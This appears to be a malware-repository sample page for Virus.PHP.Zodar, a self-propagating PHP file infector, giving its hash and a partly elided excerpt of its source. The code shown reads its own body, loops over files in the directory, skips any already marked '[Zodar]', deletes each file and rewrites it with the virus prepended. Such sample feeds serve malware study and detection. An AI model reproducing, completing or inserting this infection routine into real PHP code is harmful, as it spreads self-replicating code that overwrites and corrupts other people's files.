Hostile 100% php Download

Virus.PHP.Zodar

Self-propagating PHP worm

PHP file infector appenderPHP prepender virus infection chain
SHA-256f71bf0ab59a9766f77be65f02905d59272d5f36dac69e77bc844fd0d7eb206f3

Evidence

Calls PHP unlink() lines 1–39
⋯4 lines
5//Created 03/05/2002
6$c = "";
7$f = fopen (__FILE__, "r");
8$c = fread ($f, filesize (__FILE__));
9fclose ($f);
10$c = substr($c,0,866);
11$handle=opendir('.');
12while (($file = readdir($handle))!==false) {
13if ($file != "." && $file != "..")
14 {
⋯6 lines
21 if (!strstr($cont,"[Zodar]"))
22 {
23 unlink("$file");
24 $g = fopen ($file, "a+");
25 fwrite ($g,"$c");
26 fwrite ($g,"\n");
27 fwrite ($g,substr($cont,5));
⋯12 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.